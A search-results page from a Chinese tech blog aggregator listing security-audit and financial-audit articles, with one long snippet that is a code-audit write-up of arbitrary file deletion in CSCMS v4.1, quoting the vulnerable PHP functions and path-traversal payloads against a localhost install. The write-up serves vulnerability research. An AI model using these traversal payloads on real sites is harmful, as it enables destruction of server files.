搜索[安全审计]结果-低调大师优秀个人博客

精选列表

搜索[安全审计]，共10009篇文章

xtools-app一款基于JDK25,SpringBoot4,SpringCloud的最新微服务脚手架

实现分布式缓存和会话管理使用 RabbitMQ（Spring AMQP 4.0.3）实现异步消息处理支持 Knife4j 4.5.0 自动生成 API 文档使用 SM2/SM3 国密算法保障密码安全

2026-06-09

xtools-boot一款基于JDK25,SpringBoot4的通用Spring工具库

MySQL监控搜索引擎ES查询工具ES监控消息队列消息总线RabbitMQ实现消息编解码日志日志总线LogBus日志追踪虚拟线程日志任务任务总线TaskBusXXL-JOB集成存储存储抽象接口文件存储S3存储安全数据脱敏

2026-06-09

【代码审计】华夏ERP_v2.3

使用小皮面板创建并开启数据库，然后使用Navicat打开并连接数据库，然后直接右键选择运行SQL文件，选择JSH_ERP-v2.3\JSH_ERP-v2.3\docs\jsh_erp.sql，点击确认运行即可

2026-07-22

谷歌开源内部 Rust Crate 审计结果

此次开源对 Rust Crate 的审计结果，则使得开发者可以自己的项目中轻松导入这些已经由谷歌审核完成的结果，以证明所使用的 Rust Crate 的属性；并根据这些数据，判定 crate 是否满足项目的安全性

2023-05-26

技术分享 | MySQL 使用 MariaDB 审计插件

背景 Oracle 的 MySQL 社区版不带审计插件（Audit Plugin），要想使用审计功能，你可以用企业版，不过这需要银子。

2020-09-08

审计软件研发实战：从需求到交付，手把手构建本地优先的 AI 审计助手

审计软件研发不是普通 CRUD。本文以"本地优先 + LLM 编排"为主线，拆解从需求、领域建模、架构到交付的完整生命周期，附一个可运行的智能抽凭与证据链引擎代码，帮你少走两年弯路。

2026-08-24

极光荣获首批个人信息保护合规审计自审计能力（基础级）评价证书

极光荣获首批个人信息保护合规审计自审计能力（基础级）评价证书近日，2025年国家网络安全宣传周在昆明成功举办。

2025-09-22

Python 审计意见类型判断决策树

审计意见分四种：标准无保留、带强调事项段的无保留、保留、否定、无法表示意见。意见类型取决于"是否存在重大错报"和"是否广泛（pervasive）"，以及范围受限程度和持续经营不确定性。

2026-08-31

Kubernetes1.7 新特性:日志审计变化

背景概念出于安全方面的考虑，Kubernetes提供了日志审计记录，用来记录不同普通用户、管理员和系统中各个组件的日志信息。

2018-12-13

Bugku-代码审计（数字验证正则绕过）

各位小伙伴，我把Bugku上面的关于代码审计类型的WP为两部分，主要是为了各位小伙伴的阅读质量希望你们能够多多包涵哦！！！！

2018-05-30

任意文件删除漏洞，该漏洞可让攻击者随意删除服务器上的任意文件。环境搭建： CSCMS：http://www.chshcms.com/ 网站源码版本：Cscms_v4.1正式版（发布日期：2017-06-05）程序源码下载：https://github.com/chshcms/cscms 漏洞实例一：漏洞文件位置：\cscms\plugins\sys\admin\Basedb.php 第160-177行： public function del(){ $dir = $this->input->get_post('id',true); if(empty($dir)){ getjson(L('plub_11')); } $dirs = array(); if(!is_array($dir)){ $dirs[] = $dir; }else{ $dirs = $dir; } foreach($dirs as $dir) { deldir(FCPATH.'attachment/backup/'.$dir); } $info['msg'] = L('plub_12'); $info['url'] = site_url('basedb/restore').'?v='.rand(1000,9999); getjson($info,0); } 漏洞利用： 1、根目录下新建test目录作为测试： 2、构造参数成功删除test目录 http://127.0.0.1/admin.php/basedb/del POST:id=..\\..\\test 漏洞实例二：漏洞文件位置：/plugins/sys/admin/Skin.php 第418--440行： public function del(){ $ac = $this->input->get('ac',true); $op = $this->input->get('op',true); $dir = $this->input->get('dirs',true); $file = $this->input->get('file'); if($ac!='mobile') $ac='pc'; if($op!='home' && $op!='user') $op='skins'; if(empty($dir)) getjson(L('plub_27')); $skin_dir = VIEWPATH.$ac.FGF.$op.FGF.$dir.FGF.$file; if (!is_dir($skin_dir)) { //文件 $res=unlink($skin_dir); }else{ //目录 $res=deldir($skin_dir); } if($res){ $info['url'] = site_url('skin').'?ac='.$ac.'&op='.$op.'&v='.rand(1000,9999); $info['msg'] = L('plub_46'); $info['turn'] = 1; getjson($info,0); }else{ getjson(L('plub_28')); } 漏洞利用：网站根目录下新建1.txt文件作为测试，构造URL成功删除文件 Payload：http://127.0.0.1/admin.php/skin/del?ac=pc&op=skins&dirs=default&file=..\\..\\..\\..\\1.txt 漏洞实例三：漏洞文件位置：/plugins/sys/admin/Plugins.php 第285-299行： public function del(){ $dir = $this->input->get_post('dir',true); if($dir==''){ getjson(L('plub_del_0'),1); } deldir(FCPATH.'plugins'.FGF.$dir.FGF); //删除配置目录 deldir(CSCMS.$dir.FGF); //删除模板目录 deldir(FCPATH.'tpl/admin/'.$dir.FGF); $info['func'] = __FUNCTION__; $info['msg'] = L('plub_del_1'); getjson($info,0); } 漏洞利用：

2018-05-03

【代码审计】任意文件读取漏洞实例

更多的时候，黑盒结合白盒的进行漏洞挖掘，可发现更多的安全漏洞。

2018-04-14

Python 关键审计事项（KAM）自动提取与预警

问题审计报告里的"关键审计事项"不是拍脑袋写的，它来自底稿里风险最高的几个领域。

2026-09-06

Python 审计抽样之变量抽样与发现抽样

细节测试（查高估/低估金额）常用变量抽样（如均值法、差额法、比率法）推断总体错报，而发现抽样用于查极少发生的重大违规（如舞弊、违反法规），目标是"若不重大则基本可信"。两类抽样目的和样本量逻辑完全不同。用 Python 实现变量抽样（比率法）推断总体错报，并演示发现抽样的样本量逻辑。

2026-08-30

Python 审计调整分录汇总表自动生成

审计调整分录散落在各科目底稿里，要汇总成"调整分录汇总表"，并据此把未审报表调成审定报表。手工汇总最怕三件事：漏分录、借贷方向搞反、审定数算错。

2026-08-29

Semantica：给 AI Agent 装上可审计的记忆

Semantica 是一个图原生 AI 基础设施。它坐在 LLM 和 Agent 框架下面，提供一层确定性的上下文图、决策记录和全链路溯源。

2026-08-13

腾讯云代理商：KMS操作审计实战

把腾讯云KMS审计理解为“给密钥操作装行车记录仪”，就能明白其价值不只在出事后溯源，更在于让每一次解密、禁用、轮换都留下可供检索的证据链。

2026-08-03

深度解读RDS for MySQL 审计日志功能和原理

该功能已在RDS for MySQL 5.7和RDS for MySQL 8.0版本中开放，满足了用户对数据库安全审计的需求，同时增强了数据库的合规性和可用性。

2024-10-25

使用日志审计查看MaxCompute执行过哪些操作

背景在很多的数据开发场景下，我们需要记录每个子账户都做了什么，在哪个项目执行了具体的操作，出问题了需要审计是谁干的，什么时间，怎么操作的。

2020-09-01

Seay源代码审计系统的配置和安装

2014年7月31日 Seay源代码审计系统2.1 时隔刚好一年之久，源代码审计系统再次更新，这次主要优化审计体验，优化了漏洞规则，算是小幅更新，原来使用者打开程序会提示自动更新。

2018-04-17

行为、审计日志 (实时索引/实时搜索) - 最佳实践

标签 PostgreSQL , ES , 搜索引擎 , 全文检索 , 日志分析 , 倒排索引 , 优化 , 分区 , 分片 , 审计日志 , 行为日志背景在很多系统中会记录用户的行为日志，行为日志包括浏览行为

2017-05-19

上网日志审计系统怎么选?五个硬指标

去年帮一家制造企业做合规整改,安全审计第一次被监管点名要"员工上网行为留存记录"。

2026-09-05

资源下载

更多资源

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称，一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring框架（Spring Framework）是由Rod Johnson于2002年提出的开源Java企业级应用框架，旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念，提供核心容器、应用上下文、数据访问集成等模块，支持整合Hibernate、Struts等第三方框架，其适用范围不仅限于服务器端开发，绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux（中文名：洛基）是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版，作为CentOS稳定版停止维护后与RHEL（Red Hat Enterprise Linux）完全兼容的开源替代方案，由社区拥有并管理，支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性，采用模块化包装和SELinux安全架构，默认包含GNOME桌面环境及XFS文件系统，支持十年生命周期更新。

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能，例如代码缩略图，Python的插件，代码段等。还可自定义键绑定，菜单和工具栏。Sublime Text 的主要功能包括：拼写检查，书签，完整的 Python API ， Goto 功能，即时项目切换，多选择，多窗口等等。Sublime Text 是一个跨平台的编辑器，同时支持Windows、Linux、Mac OS X等操作系统。